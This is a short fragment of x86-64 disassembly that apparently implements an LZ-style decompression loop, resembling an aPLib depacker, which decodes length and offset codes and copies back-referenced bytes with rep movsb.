jb 0x1407d459b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d44f6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407d45e0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407d45ed
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d45d5
cmp eax, 0x7d00
jae 0x1407d4613
cmp eax, 0x500
jb 0x1407d460e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d44f6
cmp eax, 0x7f
ja 0x1407d4616
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d44f6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407d464a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407d44f6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20